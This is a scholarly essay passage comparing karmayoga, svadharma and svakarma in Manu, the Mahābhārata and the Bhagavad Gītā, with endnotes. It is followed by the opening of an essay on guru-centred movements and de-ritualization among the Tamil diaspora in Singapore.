This brings us to a concept used in both Manu and the Mahābhārata. _Karmayoga_ has a single usage in the Dharmasūtras, where, in Olivelle's translation, it means "ritual use" when Āpastamba says, "The suspension of vedic recitation laid down in the vedic texts refers to vedic recitation and not the _ritual use_ of vedic formulas ( _na karmayoge mantr āṇām_)" (1.12.9). Otherwise, as far as I can see, if _svadharma_ and _svakarma_ get their first workouts together in the Dharmasūtras and are then more fully developed as governing paradigms in Manu and the Mahābhārata, _karmayoga_ is a term that gets its first real workout in Manu and the Mahābhārata as a concept by which each of these texts ties these paradigms to certain (but by no means all) formulations of their higher purpose. In Manu these formulations are concentrated in its final and most "philosophical" chapter, the twelfth, on the fruits of action and the process of reincarnation. In the Mahābhārata they are concentrated almost exclusively in the Bhagavad Gītā, while the Rāmāyaṇa has one curious instance describing Hanumān as _svakarmayoga ṃ ca vidhāya,_ which Goldman and Goldman (1996, 241) translate as "settling into his own plan of action" (Rāmāyaṇa [Rām] 5.45.30).
To read just translations of these texts, one would never gather that they are rendering the same term. Although Manu certainly does have a distinctive take on _karmayoga,_ it almost seems that its translators have rendered the term in ways that would avoid suspicion that they were contaminating Manu by a Gītā reading. But clearly it is the same term, and I think the usages in the two texts probably have some kind of relation to each other in the pivotal ways they position the concept. (I favor the slight priority of the Mahābhārata.) In both texts one can easily tie in the usages of _karmayoga_ with those of _svadharma_ and _svakarma_ as they relate to theories of ritual and ideologies of sacrifice centered on the Brahman, the Kṣatriya, or the king; but the theory and ideology differ in each text. In each case _karmayoga_ is clustered with a different range of concepts, about which I have to be somewhat brief.
In the Gītā, as is well known, _karmayoga_ is taught by a Kṣatriya deity of an emergent _bhakti_ tradition. As far as the text is concerned, Kṛṣṇa is God himself as the ultimate _karmayogin,_ and he imparts the Gītā to another Kṣatriya.9 Here _karmayoga_ is arrayed with the two other yogas or "disciplines" of _jñ ānayoga_ and _bhaktiyoga._ _Karmayoga_ involves _ni ṣkāma-karma,_ or "action without the desire for its fruits," that is, "unattached ( _asakta_ ) action or karma" that is "devoid of the intention ( _sa ṃkalpa_)"—a key term in both texts—to achieve a ritually defined "desire." And _svadharma_ and _svakarma_ are explained against this background but compounded by the additional concept of _svabh āva,_ "inherent nature." That is, according to Kṛṣṇa, doing one's duty and occupations properly springs ultimately from one's "intrinsic," "innate," or "inherent nature."
Moreover, of all the places in the Mahābhārata that present extensive mixed discussions of _svadharma_ with _svakarma,_10 the Gītā presents the only case where these terms are compounded by this additional "inherent" grounding, which is ultimately a grounding in Kṛṣṇa's lower nature or _prak ṛti._ In the key passage (BhG 18.41–47), Kṛṣṇa teaches that confusion among classes is to be avoided by not abandoning one's "own dharma" ( _svadharma_ ), which, he says, "springs from" each class's "intrinsic nature" ( _svabh āva_). Kṛṣṇa begins, "Of Brahmans, warriors, and artisans, and of serfs, scorcher of the foe, the actions are distinguished according to the strands that spring from their innate nature ( _svabh āva_)." And after Kṛṣṇa has detailed the natural-born ( _svabh āva-ja_) karma of each social class that should guide the performance of its appropriate tasks, he ends, "Better one's own duty ( _svadharma_ ), (even) imperfect, than another's duty ( _paradharma_ ) well performed. Performing action pertaining to his own intrinsic nature ( _svabh āva_), he incurs no guilt." Note that the first line repeats the first line of Gītā 3.35 but differs in the second. In 3.35 the second line begins with _svadharma_ rather than _svabh āva._ "Better death in (doing) one's own duty ( _svadharma_ ); another's duty brings danger" (3.38–39). Here Kṛṣṇa finally straightens out the "confusion of social classes" ( _var ṇasaṃkara_) that defined "lawlessness" ( _adharma_ ) for Arjuna (1.38–44) and paralyzed him to his "very being" ( _svabh āva_) (2.7) at the Gītā _'s_ beginning. Moreover, Kṛṣṇa finally tells Arjuna that, by "abandoning all dharmas" ( _sarvadharm ān parityajya_), he can come to Kṛṣṇa released from all sins (18.66), apparently because every "intrinsic nature" ( _svabh āva_) has come from "the over-soul" ( _adhy ātma_), meaning Kṛṣṇa, in the first place (3.30, 7.29, 8.3).11
As Simon Brodbeck points out, if we are to understand the Gītā as having any impact on Arjuna, "the notion of _svabh āva_ used here must logically be specific to individual people rather than to individual _var ṇa_s. We would even want to go further and describe _svabh āva_ as variable within one lifetime" (2004, 90); it must be "a continuously varying quality" (99) if it is to have any bearing on the change Arjuna undergoes from the Gītā _'s_ beginning to its end. Moreover this manner of acting that Kṛṣṇa teaches Arjuna is presented as having "universal applicability" that extends rhetorically to "the text's audience," which does not exclude modern scholars (81–82), a number of whom have taken _karmayoga_ as a key to interpreting specific passages elsewhere over the Mahābhārata as a whole. Arti Dhand (2004, 50–51), for instance, provides a curious and perhaps successful example—there is really very little to go on—in her discussion of the Śūdra maidservant's easy manner in having a proxy union ( _niyoga_ ) with the smelly ascetic author Vyāsa.
But one must be careful in reading _karmayoga_ into the Mahābhārata, whether piece by piece or as a whole. As Brodbeck nicely shows, "the availability of nonattachment in action functions as a narrative fiction to explain, on the conventional level, how Arjuna can satisfactorily be persuaded to fight"; "the universal applicability of Kṛṣṇa's technique is a conceit of the way in which the text reports Arjuna's changing his mind" (2004, 100). Indeed there is nothing to indicate how or whether Arjuna actually understood or benefited from Kṛṣṇa's _karmayoga_ teaching and plenty of later evidence that it could not have touched him very deeply. Moreover we may note that when Kṛṣṇa first speaks to Arjuna about _karmayoga_ in Gītā 3.3, he responds to a question by Arjuna, if at all, only by deflection. "If more important than action the mental attitude is held of thee, Janārdana, then why to violent action ( _karm āṇi ghore_) dost thou enjoin me, Keśava?" (trans. Edgerton 1952, 33; slightly modified). As Brodbeck says, "There is no getting around it: the extent of Kṛṣṇa's 'rational assessment of the situation,' at least as far as ethics is concerned, is that Arjuna is a kṣatriya and so must—and will—fight" (2004, 98). That is, Kṛṣṇa's teaching of _karmayoga_ is tailor-made for the consummate warrior Kṣatriya and not for the king.
Warrior _Svadharma_ and Royal Ritual
As I have tried to show elsewhere, "a clear epic-long pattern is that while the deity and author work together, the god deals primarily with Arjuna and the author with Yudhiṣṭhira," who, unlike Arjuna, is a king (Hiltebeitel 2001, 90). As Nicholas Sutton (2000, 318) demonstrates, Yudhiṣṭhira shows a "repeated insistence on placing moral ethics above those of _svadharma_ "—in particular Kṣatriya _svadharma_ as preached by Kṛṣṇa to Arjuna in the Gītā (Sutton 2000, 296, cf. 301; Sinha 1991, 383). Particularly in the aftermath of the war and near the beginning of epic's twelfth book, the Śāntiparvan, Kṛṣṇa leaves it to his co-ordainer, Vyāsa ("the author"), to deliver an authoritative statement on the implications of the Gītā's teachings for Yudhiṣṭhira.12
Vyāsa speaks sternly of law ( _dharma_ ), assuring Yudhiṣṭhira that what he has done through war falls within it, and when Yudhiṣṭhira protests his guilt for so many deaths, Vyāsa offers four perspectives on what accounts for action: the Lord, man, chance, and karma (32.11). Focusing on the king's use of the _da ṇḍa,_ or rod of punishment, Vyāsa says Yudhiṣṭhira is blameless from each perspective but gives the greatest attention to the first and his own, the fourth. On the Lord, he begins, "When men who have been enjoined by the Lord ( _ī śvareṇa niyuktā?_) do a good or bad deed, the consequences of that deed go to the Lord. For obviously if a man were to chop down a tree in the forest with an axe, the evil would belong to the man doing the chopping and not at all to the axe" (Fitzgerald 2004, 241–42; 32.12–13). As in Gītā 11.33d, a king using the _da ṇḍa,_ like Arjuna taking up his weapons, would, like the ax, be the "mere instrument" ( _nimittam ātram_) of the Lord. Vyāsa concludes that from this standpoint "it would not be right, son of Kuntī, that one should acquire consequences effected by another. Therefore assign it to the Lord ( _tasm āc ca īśvare tan niveśaya_)" (Fitzgerald 2004, 242; 12.32.15).
Here, as applied to a king's use of the _da ṇḍa,_ one may detect echoes of the Gītā _'s bhaktiyoga_ such as Kṛṣṇa details it soon after telling Arjuna to "be a mere instrument": "But those who, all actions ( _karm āṇi_) casting on Me, intent on Me, with utterly unswerving discipline meditating on Me, revere Me, for them I am the Savior from the sea of the round of deaths become right soon, son of Pṛthā, when they have made their thoughts enter into Me. Fix thy thought-organ on Me alone. Make thy consciousness enter into Me ( _mayi buddhi ṃ niveśaya_); and thou shalt come to dwell even in Me hereafter; there is no doubt of this" (BhG 12.6–8). In each case one has the imperative _nive śaya_ plus a locative construction applied to casting one's karma on God. But whereas Kṛṣṇa recommends this to Arjuna as a _bhaktiyoga_ technique, Vyāsa leaves it as a theoretical option for Yudhiṣṭhira's "intellect" to ponder and, with Kṛṣṇa standing by, soon gets to his own recommendation.
What Vyāsa believes, he says, is that since karma always has good or bad consequences, Yudhiṣṭhira should do his own dharma ( _svadharma_ ) and take advantage of "expiatory measures" ( _pr āyaścittāni_), "or you will roast when you die" ( _pretya tapt āsi_) (Fitzgerald 2004, 242; 12.32.20–24). Note that Yudhiṣṭhira's _svadharma_ involves doing something that sounds a little unusual as _svadharma:_ expiation, which will require of him the services of Brahmans. It is rather different from Arjuna's Kṣatriya _svadharma_ that requires a good or just war (BhG 2.31). Indeed it is a kind of redressive action after a breach and crisis on the way to some resolution. Victor Turner's schema survives the test of twenty-five years and is close enough to the Mahābhārata's own structure and terms to look comfortably native.
Yudhiṣṭhira eventually does as the author advises, but it takes a long conversation. Upon first getting this message from Vyāsa, he envisions falling "headfirst into hell" (33.11cd), much as Vyāsa had just warned him. But rather than expiatory measures, he says he wants to free himself by fierce austerities or _tapas,_ closing with a curious line: "Grandfather, tell me about some especially good hermitages/stages of life" (Fitzgerald 2004, 243; 33.12cd). Yudhiṣṭhira can hardly expect Vyāsa to tell him about lovely forest retreats or further stages of life. (Both meanings of _ā śrama_ would be possible.) But it is not a throwaway line, since upon hearing it Vyāsa marks something significant, perhaps seeing an opening, since _tapas_ and acts of penance are not irreconcilable. Says the narrator, Vaiśampāyana, beginning the next chapter ( _adhy āya),_ "After listening to what Yudhiṣṭhira said, the seer Dvaipāyana [Vyāsa], who had made a shrewd assessment ( _sam īkṣya nipuṇam buddhyā_)" of him, responds with what Fitzgerald rightly flags as "an intricate and important sermon" (2004, 209), which he summarizes nicely but mentions only this much of what I now discuss: "Invoking the kṣatriya Law and Time (Time in its lordly form uses beings to slay beings), he tells Yudhiṣṭhira that those killed were villains with wicked intentions, while Yudhiṣṭhira is still virtuous since he was compelled to do what he did" (209).
If we examine Vyāsa's words more closely, we see that he makes these connections by building upon matters first aired in the Gītā that reconcile the first and fourth options while also mentioning the third, chance, which he just presented in his previous speech.13 "You were not their killer ( _na tva ṃ hantā_), nor was Bhīma, nor Arjuna, nor the twins. Time, in its characteristic revolution ( _k āla? paryāyadharmeṇa_), took the life of those embodied ones ( _dehin ām_). They were destroyed by Time, Time who has no father or mother, who treats no one kindly, who is the witness of creatures' deeds. This [war] has merely been the instrument of Time ( _hetum ātram... kālasya_) (cf. BhG 11.32a, 33d); when it slays beings by means of other beings, that is its form as Lord ( _tad asmai r ūpam aiśvaram_). Realize that Time has deeds for its bodily form ( _karmam ūrtyātmakaṃ viddhi_)—it is witness to deeds good and bad, and it yields its fruit later in Time, giving rise to pleasant and unpleasant things" (Fitzgerald 2004, 243; 12.34.4–7). In effect with all these allusions to the Gītā, Vyāsa is clearly reinforcing that text's earlier prominence. But rather than reasserting Kṛṣṇa's revelation, Vyāsa offers a selective rereading of the Gītā—even with Kṛṣṇa standing by—that is more palatable and pertinent to a ritually (and, one could add, philosophically) inclined king. Continuing to offer this depersonalized Gītā theology in the deity's presence, Vyāsa turns to what Yudhiṣṭhira should derive from it. "Consider your own good character, your vows, and your special observances; yet you were made to act and approach such deeds as these by rule ( _vidhin ā_).14 Just as an apparatus ( _yantra_ ) fashioned by a carpenter is in the control of the one who holds it, so the universe is driven by action that is yoked to Time [cf. BhG 18.61]... . But now since falsehood snares your mind on this, king, you are therefore commanded: 'Perform expiation ( _pr āyaścittam_) now'" (Fitzgerald 2004, 243–44; 34.9–10, 12). As Fitzgerald nicely observes, "As they have all failed to persuade Yudhiṣṭhira that he is not guilty of wrongdoing, Vyāsa reluctantly tells him he must perform the expiation" (2004, 709). Note, however, what Vyāsa does not and cannot tell him: to act (or better, the impossible—to have acted) without desire for the fruits of his actions. It is precisely because that course is closed off to Yudhiṣṭhira that _pr āyaścitta_ is required.
Typically Vyāsa has made his authorial "command" coincide with what is divinely "ruled" or "ordained," on which he offers a story as divine precedent. Demonstrating from this tale that "the wise man must realize that there is Right ( _dharma_ ) with the appearance of Wrong ( _adharma_ )" and urging that as "an educated man ( _ś rutavān_)"—which implies a Vedic education—Yudhiṣṭhira should realize he is not going to hell, he says, "Cheer ( _ā śvāsaya_) your brothers and your friends" (34.13–22). Now making his point that Yudhiṣṭhira is one whose karma was done "unwillingly ( _aniccham āna?_)" and with regret, he says the Aśvamedha or horse sacrifice is the right expiation (34.23–26). He concludes on the note of Yudhiṣṭhira's current worries about hell. "Perform your Law, son of Kuntī, and what you experience after death will be better" (Fitzgerald 2004, 245; 34.36). Vyāsa thus offers a traditional ritualist solution that could reflect the association made between the early Dharmasūtras and the Śrautasūtras, the ritual texts on Vedic sacrifices such as the Aśvamedha that precede the Dharmasūtras in the ritual manuals (Kalpasūtras) of certain Vedic schools. What is right ( _dharma_ ) for Yudhiṣṭhira is to find the right ritual of atonement. Vyāsa leaves the Mahābhārata's discourse on _karmayoga_ pretty much to Kṛṣṇa and, more specifically, Kṛṣṇa's instruction of Arjuna.
Vyāsa thus acknowledges that Yudhiṣṭhira is a different kind of character than is Arjuna and that he must be addressed with different solutions to his problems—not only because it is after the war rather than before it, but also because Yudhiṣṭhira is a king and not simply a paragon warrior. Indeed before Vyāsa chimes in, Kṛṣṇa himself recognized this earlier in this postwar cheering up of Yudhiṣṭhira, and his cheerfully shrewd intervention offers no Gītā reiterations even though it comes after Arjuna has repeatedly berated Yudhiṣṭhira with calls to Kṣatriya dharma, which echo what Kṛṣṇa told him in the Gītā (see Hiltebeitel 2005, 249–56). It is thus, I believe, unsatisfactory to interpret Kṣatriya _svadharma_ as though it holds the key to the dharma of kings ( _r ājadharma_), which is Yudhiṣṭhira's first concern (Mbh 12.38.1–2) when Vyāsa, following up Kṛṣṇa's intervention, turns Yudhiṣṭhira's ongoing postwar instruction over to Bhīṣma in the first of the three "anthologies" (see Fitzgerald 2004, 142–64) of instructions of the Śāntiparvan (see Hiltebeitel 2005, 259). On this point I must thus take issue with Madeleine Biardeau, who has attempted to make Kṣatriya _svadharma_ fit that lock a bit too exactly.
Biardeau offers a brilliant synthesis that is, however, possible only because she takes Arjuna as the epic's ideal king, sidesteps Yudhiṣṭhira, and imposes the Gītā _'s svadharma_ on the king's dharma. The first consequence is to make the violence of war as justifiable as any killing performed within a sacrificial rite: it cannot be called _hi ṃsā_ if this violence is not for the sake of killing but intended as sacrifice.
But Kṛṣṇa's teaching goes one step further. Even though the war should result in kingship being restored to the Pāṇḍavas, kingship is not its aim, but dharma and the welfare of the world... . The sacrificer thus becomes also the true renouncer, the true saṃnyāsin. Keeping his sacrificial fires burning, lighting the fires of war, he never has his self-interest in view but devotes himself to God and acts as his duplicate or his representative on earth. As such a Kshatriya can be a true yogin when performing the sacrifice of war. The idea, of course, gives the svadharma of kings a new content and links with salvation. The specific Kshatriya way to salvation is also their specific saṃnyāsa and sacrifice. Kings have not to renounce ultimate values when they remain kings... .
... If the practice of svadharma, which has for its aim the maintenance of universal dharma, is now linked with the attainment of mokṣa, the word dharma acquires a new meaning by which it encompasses all goals including mokṣa. (Biardeau 1981, 93–94)
This is all apt and indeed elegant for Arjuna, and perhaps for some medieval and neo-Hindu notions of kingship that have taken the Gītā to heart. But it is not apt for Yudhiṣṭhira, who can only agonize after the war over such an idea that it was all for dharma and the welfare of the world. Indeed the encompassment of _mok ṣa_ by this meaning of dharma is not at all what interests Yudhiṣṭhira or Bhīṣma when they get to the pluralistic topic of _mok ṣadharma_ (the laws of salvation) as the third anthology, after those on _r ājadharma_ (the laws of kings) and _ā paddharma_ (the laws for times of distress) of the Śāntiparvan. If it was all for dharma and the welfare of the world, the idea has to sink in slowly, if it does so at all. It has no quick traction in Yudhiṣṭhira as it does with Arjuna.
Desireless Action versus _Karmayoga_ in Manu
Manu, on the contrary, is first of all addressed primarily to Brahmans and, where it is addressed to Kṣatriyas and the king, the king is to be addressed through Brahmans. Moreover in Manu's very first usage of _karmayoga_ (2.2), Manu explicitly rejects the idea of desireless action:
To be motivated by desire is not commended, but it is impossible here to be free from desire ( _ak āmatā_); for it is desire that prompts vedic study and the performance of vedic rites ( _karmayoga ś ca vaidika?_). Intention ( _sa ṃkalpa_) is the root of desire; intention is the wellspring of sacrifice and intention triggers every religious observance and every rule of restraint—so the tradition declares. Nowhere in this world do we see any activity done by a man free from desire ( _ak āmasya_), for whatever at all that a man may do, it is the work of someone who desired it. By engaging in it properly, a man obtains the world of the immortals and, in this world, obtains all his desires just as he intended. (Manu 2.2–5; trans. Olivelle 2004b, 94; slightly modified)
As Brodbeck notes of this passage from Manu, marking the contrast with the Gītā but without addressing the Gītā's usages of _karmayoga_ directly, the "performance of vedic rites" or, as he translates it, the "'engagement in Vedic action,' may also be translated... Vedic _karmayoga_ '" (2004, 85). Moreover whereas Manu compounds _karmayoga_ primarily with ritual rules (and thus implicitly with both _svadharma_ and _svakarma_ ), he never relates these concepts to any usage of _svabh āva,_ which he keeps to two usages: one to describe the "natural range" of the black buck (2.23) and the other to assert that "the very nature of women" is "to corrupt men" (2.212; Olivelle 2005, 103).
Manu's other uses of _karmayoga_ are enough to indicate that they are not late afterthoughts to the text, and Olivelle includes only the first one, just cited, among what he calls "excurses" (2004b, 94), by which he suggests interpolations. At Manu 2.68 Olivelle translates the term _karmayoga_ as "the activities connected with" the _upanayana,_ or sacred thread ceremony, and this is in a transitional verse with what Olivelle regards as Manu's signature transition marker, _nibodhata,_ "listen" (2005, 7–11). At 6.86, in another transitional verse with _nibodhata,_ Olivelle translates _karmayoga_ as "the ritual discipline of vedic retirees" ( _vedasa ṃyāsin_s). At 10.115, among the seven means of acquiring wealth, it surely means more than just "work"—Olivelle's translation; Doniger offers "working" (Doniger and Smith 1991) and Bühler "the performance of work" ([1886] 1969). At 12.2, in something like the transitional verses, there is a return to the frame, where the great seers are told, "Listen to the determination with respect to the engagement in action ( _karmayoga_ )." Finally, in chapter 12, where Manu unfolds "Vedic _karmayoga_ " most fully, he does so in relation to ideas of _prav ṛtti_ and _niv ṛtti_ that bear especially on reincarnation and _mok ṣa._
One should understand that acts prescribed by the Veda ( _karma vaidakam_ ) are always a more effective means of securing the highest good both here and in the hereafter than the above six activities (Vedic recitation, _tapas,_ knowledge, controlling the senses, noninjury, and service of the teacher) (Manu 12.83). All these activities without exception are included within the scheme of the acts prescribed by the Veda ( _vaidike karmayoge_ ), each in the proper order within the rules of a corresponding act ( _kriy āvidhau_). Acts prescribed by the Veda are of two kinds: advancing ( _prav ṛttam_), which procures the enhancement of happiness; and arresting ( _niv ṛttam_), which procures the supreme good. An action performed to obtain a desire here or in the hereafter is called an "advancing act" ( _prav ṛttaṃ karma_), whereas an action performed without desire ( _ni ṣkāmam_) and prompted by knowledge is said to be an "arresting act" ( _niv ṛttam_). By engaging in advancing acts, a man attains equality with the gods; by engaging in arresting acts, on the other hand, he transcends the five elements (Manu 12.86–90; trans. Olivelle 2005, 234). Again, "the scheme of the acts prescribed by the Veda ( _vaidike karmayoge_ )" could be translated "Vedic _karmayoga._ "
One thing is definite: Manu does not subordinate "Vedic _karmayoga_ " to _bhaktiyoga_ or to any ideas about "inherent natures" that underlie karmic or dharmic actions. As Biardeau puts it, whereas the Mahābhārata marks a _bhakti_ "swerve" ( _écart_ ) in the Brahmanic tradition, Manu refuses to "budge" in his allegiance to the Veda (2002, 1, 85, 87, 96). Yet it is not clear how one is to reconcile Manu's earlier statements that no action was ever done "without desire" ( _ak āma_) with this allowance for _niv ṛtta_ actions to be _ni ṣkāma._ Perhaps it is an allowance for what the Gītā would call the _jñ ānayoga,_ differentiating it from "Vedic _karmayoga_ " rather than correlating the two. Whatever the reason, whereas Manu allows that the desires of Brahmans are ambiguous, the Gītā wants the desires of Kṣatriyas to be self-sacrificial.
Conclusion
It thus takes tracing several threads to see how the ritualization of war and violence is tied together in these largely complementary texts. Out of the nexus of Kṛṣṇa's teachings to Arjuna, many wondrous things stand out in making him forget his lingering question, "Then why to violent action?" I leave aside the idea that warriors who die in battle go to heaven, which Kṛṣṇa delivers as part of his shock treatment before he gets to any yogas and about which everybody (or at least Manu 7.89) seems to agree, with the notable exception of the Buddha. When pressed on the question by martial types of "headmen" ( _gama ṇi_), the Buddha revealed with great reluctance that a soldier who dies in battle does not go to heaven but to the "Battle-Slain Hell," since he dies with "his mind already low, depraved" and "misdirected" toward killing others (see Schmithausen 1999, 48; Bodhi 2000, 1334–36). Manu also declares that one should never kill an animal out of desire. "Killing in sacrifice is not killing": when plants and animals die in sacrifice they earn superior births, and "when killing is sanctioned by the Veda it should definitely be regarded as non-killing" (5.37–44)—all of which Brian K. Smith assigns to the "fog machine" (Doniger and Smith 1991, xlii).
Recently I read an outstanding dissertation on the "inner jihad" and remarked to its author, Waleed El-Ansary (2006), that it sounded like _karmayoga,_ by which of course I meant the Gītā's _karmayoga,_ with which he enthusiastically agreed. Like "inner jihad," Arjuna's inner struggle is one thing and deserving of our respect, but arguments to kill others in God's name are another and are an agony of our times—and obviously, as the Buddhist response suggests, not our times alone. So I turn to Yudhiṣṭhira's dilemma as one that is more to my taste, at least for its rejection of such easy solutions. Of the cluster of ideas that Kṛṣṇa assembles in the Gītā to get Arjuna to fight, it is not _svadharma_ that must be singled out. Yudhiṣṭhira too is concerned to figure out what his ritualist postwar _svadharma_ might be that Vyāsa has posed for him, and I suppose anybody could profitably follow a _svadharma_ line of thought other than a depersonalizing Buddhist. It is Kṛṣṇa's particular grounding of _karmayoga_ in the "inherent nature" of the warrior that gets the warrior the same prize—heaven being just a favorable rebirth—as the sacrificial goat.
**Notes**
1. This good advice came after a presentation at a conference on religion in South Asia from Fred Clothey, who ultimately accepted the article in question for inclusion in his edited volume _Images of Man_ (1982).
2. Among the few Gṛhyasūtra usages of dharma that Olivelle notes (2004a, 502–3), that of _dh ārmika_ for the Veda student (Baudhāyanagṛhyasūtra 3.3.31) could be said to point in this direction.
3. 13.9. _utti ṣṭha bho? kṣatriya mṛtyubhīta/cara svadharmaṃ tyaja mokṣadharmam//bāṇaiś ca yajñaiś ca vinīya lokam/lokāt padam prāpnuhi vāsavasya._
4. See Ā 2.2.2; Ā 2.6.5; G 11.29; and B 10.17.4, which mentions an allowance that a man may undertake renunciation ( _sa ṃnyāsa_) after he has "settled his children in their respective duties."
5. See Manu 10.74–75; Mbh 5.29.26; 7.168.22–23; 12.297.15; 13.129.7–8.
6. See Malamoud 1982, 49. "What provides the foundation for Brahman superiority is the fact that their svadharma is of the same nature as dharma in general. Their specialty in the code is to hold the keys to the code; they watch over and judge the whole of the svadharma. This peculiar affinity that the Brahmans have for dharma is derived from their alone being _qualified_ to teach vedic texts which are the ultimate source of dharma" (emphasis added).
7. See 1.53; 1.107; 2.183; 4.03; 4.155–61; 10.1–3. Cf. 2.8; 3.3; 3.235; 4.3; 4.155; 5.2; 6.91–93; 6.97; 7.36; 8.41–42; 8.390–91; 9.251; 10.95–97; 11.84.
8. Leslie 1989, 273–74, takes the idea to be axiomatic, but it is nonexistent in the Dharmasūtras and Manu and rare and surprisingly anomalous in the epics; see Hiltebeitel 2011, 495–98, 532–34.
9. See Van Buitenen 1981, 12, 18–20; Brodbeck 2004; Hill 2001, 331–34, 342, 351; Woods 2001, 71–76, 143, 172, 182; and Sutton 2000, 65, 126, 137, 330.
10. Found in Hanumān's encounter with Bhīma (3.148.17; 149.25–50); the "Colloquy of the Brahman and the Hunter" (3.198.25–38; 199.14–15, 34); and the "Instruction of Śuka" (12.309.46–90). Cf. 2.50.6–7; 12.67.30–31; 12.107.14–16.
11. As with the usages of _svabh āva_ in the Gītā, however one translates _adhy ātma,_ there is no good reason to translate its Gītā usages differently, as, for example, Van Buitenen (1981) does in these and other instances.
12. For a fuller treatment of this section, see Hiltebeitel 2005, 249–58.
13. On the third option, chance, see Bhavagad Gītā 2.32 and 4.22, where Kṛṣṇa mentions it twice.
14. Fitzgerald's translation has "fate" here for _vidhi_ (2004, 243), which is no doubt also, if not even primarily, meant. But it is worth bringing out _vidhi_ 's meaning of "ritual rule" here, since it is contextually appropriate to what precedes and follows in Vyāsa's recommendation and fits what Matilal (2002, 34) has called Yudhiṣṭhira's predilection for rules.
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## From Diaspora to (Global) Civil Society
_Global Gurus and the Processes of De-ritualization and De-ethnization in Singapore_
JOANNE PUNZO WAGHORNE
There are a number of Indians (including South Indians) who raise questions about this form of ritualized Hinduism [performed in temples]. A number of them agree that it is a form of religion that is more emulative than innovative, more pietistic than ethically explicit; more the product of an era of kingship than of a "democratic" society, more ethnic than global.
_Fred W. Clothey (1983, 136)_
The benevolent faces of mobile gurus stare out from the great hoarding (billboards) of contemporary Chennai advertising upcoming lectures alongside other huge images of new refrigerators and automobiles, the ever-increasing choices available to a once-controlled economy in India. The massive structures may deface the city, but they do not hide key changes in the cultural and religious life of this great global center in the southern state of Tamilnadu. Across the Indian Ocean and through the straits, the more controlled skyline of Singapore abjures such displays, but the increasing importance of "spirituality" and "religion" made headlines in the _Straits Times_ under the sky-blue headline "god and us" (July 16, 2005). While the accompanying article discussed a return to organized religions, subheadings included "Choices Galore" and "God? yes Religion? no" interspersed with advisements for movies and a multicolumn blackened square with "Liberating" in white letters above a radiant silver car. All of these signs mark changes in the multireligious milieu of this former British colonial port city, where migrants from India (mostly from Tamilnadu) and China settled along with Malays. Alongside of the temples, mosques, and churches, new religious movements—many Hindu-derived and guru-centered—thrive.
Thus I write now not about the rise of temple culture with its concomitant for renewed rituals (see also Waghorne 2004) but about its shadow, the rapid growth of guru-centered movements among the largely Tamil Indian diaspora in multiethnic Singapore. These formal and informal groups openly replace "religion" with "spirituality" and substitute the construction of ethno-religious identity with the search for widely applicable values and practices that burst the bounds of Indian and Hindu self-identification. With their gurus based mostly in South India, these movements nonetheless remain global in outlook as they seek to move their rhetoric of inclusiveness into practice by openly seeking members from the more numerous Chinese. In this process of restructuring religiosity, "ritual" becomes suspect as part of the traditional Hindu world, perhaps still useful for those from a strong Hindu heritage but ineffective as a source either for personal spiritual growth or for facilitating the growth of a multiethnic constituency. Fred Clothey noticed the rise of this kind of consciousness in the Indian community amid the intense re-creation of temple rituals in Singapore in the late 1980s. I saw this trend in Singapore in the summers of 2005, 2006, 2010, 2011, and 2012 and for an entire year in 2007–2008. Karen Pechilis describes parallel movements among the Indian diaspora in the United States:
It seems that currently gurus and Indian-style Hindu temples have marked off very different spaces in the United States. The guru path tends toward inclusivity, with its emphasis on self-power in relationship to the guru's guidance, acceptance of participants from all ethnic and religious backgrounds, congregational modality of worship, and a tendency to disassociate itself with organized religion. As such, the guru path in the United States displays characteristics of the globalization of Hinduism. In contrast, the Indian-style Hindu temples tend toward specificity, with an emphasis on the ritual worship of a distinctive and often sectarian-defined God, ethnic Indian clientele, priestly modalities of worship, and explicitly Hindu self-identification. (Pechilis 2004, 36)
Pechilis's references to the different spaces of temple and guru organizations ended her insightful introduction to _The Graceful Guru,_ but the issue of differing religious space should begin any discussion of current trends toward the formation of globalized, guru-centered associations in contradiction, as well as confluence, with the continuing formations of Hindu ethno-religious identities. Most important for a discussion of contemporary trends in Hindu-based movements, this process of conscious "de-ethnization" seems deeply linked to another process, "de-ritualization."
While the intense construction of new temples in the diaspora reestablishes Āgama _-_ based (orthodox) ritual reaffirming the need for qualified priests and established practices, guru-centered organizations eschew "religion"—often rejecting or devaluating received "ritual" and redirecting bodily engagement to other practices called the _kriya._ Such organizations relocate their activities from ethnic spaces into global spaces and reform their rhetoric into assertions of universality and global values. "De-ritualization" appears implicated in the globalization of Hindu-based organizations as "ritual" becomes associated with ethnic specificity. For ritual studies this may force a consideration of when and in what kind of spaces a concern for "ritual" recedes or disappears. So this essay offers an alternative to discussions of the rise of ritualization described by Clothey's earlier work in Singapore: a consideration of emerging spaces where new movements perceive "ritual" to be literally out of place. In Singapore, as global guru movements pointedly shun the designation _religion_ out of preference for the term _spiritual,_ many avoid meeting in temples—often situating themselves in or amid commercial offices and retail buildings near major shopping areas in these cities. Thus the processes of de-ethnization and de-ritualization seem inseparable for a very contemporary form of secularization or, following the alliteration, de-sacralization.
Clearly these shifts in key terminology introduce a dialogue between what the fields of ritual studies and religious studies, mainly situated in North America and the United Kingdom, would ordinarily classify as "ritual" and what these Asia-based organizations understand by the terms. But keep in mind that these shifts in terminology occur now within a common milieu: we are all speaking the same language, global English, reading the same popular literature, and often sharing very similar educational backgrounds. As these spiritual organizations shift their venues to the ordinary spaces of daily middle-class life, the daily worlds of the observer and the observed move closer, but the nuances of seemingly common English terminology, vestiges from differing histories, step farther apart.
"Religion" and "Spirituality" in New Global Spaces
Just at the moment when guru movements enter global spaces equipped with a new de-ethicized outlook and de-ritualized practices, they are not only positioned amid the commercial world but also quickly implicated in economic globalization and worldwide commodity cultures. The broad field of religious studies has taken Hindu gurus and their multiethnic followers seriously in recent years (Forsthoefel and Humes 2005; Pechilis 2004; S. Srinivas 2008; T. Srinivas 2004). Likewise fine-tuned discussions of the closely related cultural shift from religion to spirituality abound (Heelas and Woodhead 2005; Roof 1999; Wuthnow 1998). Considerations of this trend toward spirituality, however, often meld choice with commodity culture in such titles as _The Spiritual Marketplace_ (Roof 1999), _Selling Spirituality_ (Carrette and King 2005), and _New Age Capitalism_ (Lau 2000). Sometimes the talk of trends and trajectories is alarmed about an insidious move away from organized religion to a new "privatised" mishmash of spiritualized materialism (Carrette and King 2005, 38). A particularly telling example appeared in a special thematic issue of the _Journal of the American Academy of Religion,_ "The Future of Religion in the Academy." In his invited essay, Graham Ward sharply and sadly demarcates spiritualism from faith as the last of three major "trajectories" of the future "of religion and religious studies" (2006, 184–85). His understanding of spiritualism clearly includes the sensibilities that mark guru-centered associations: eclecticism, healing, and self-help. 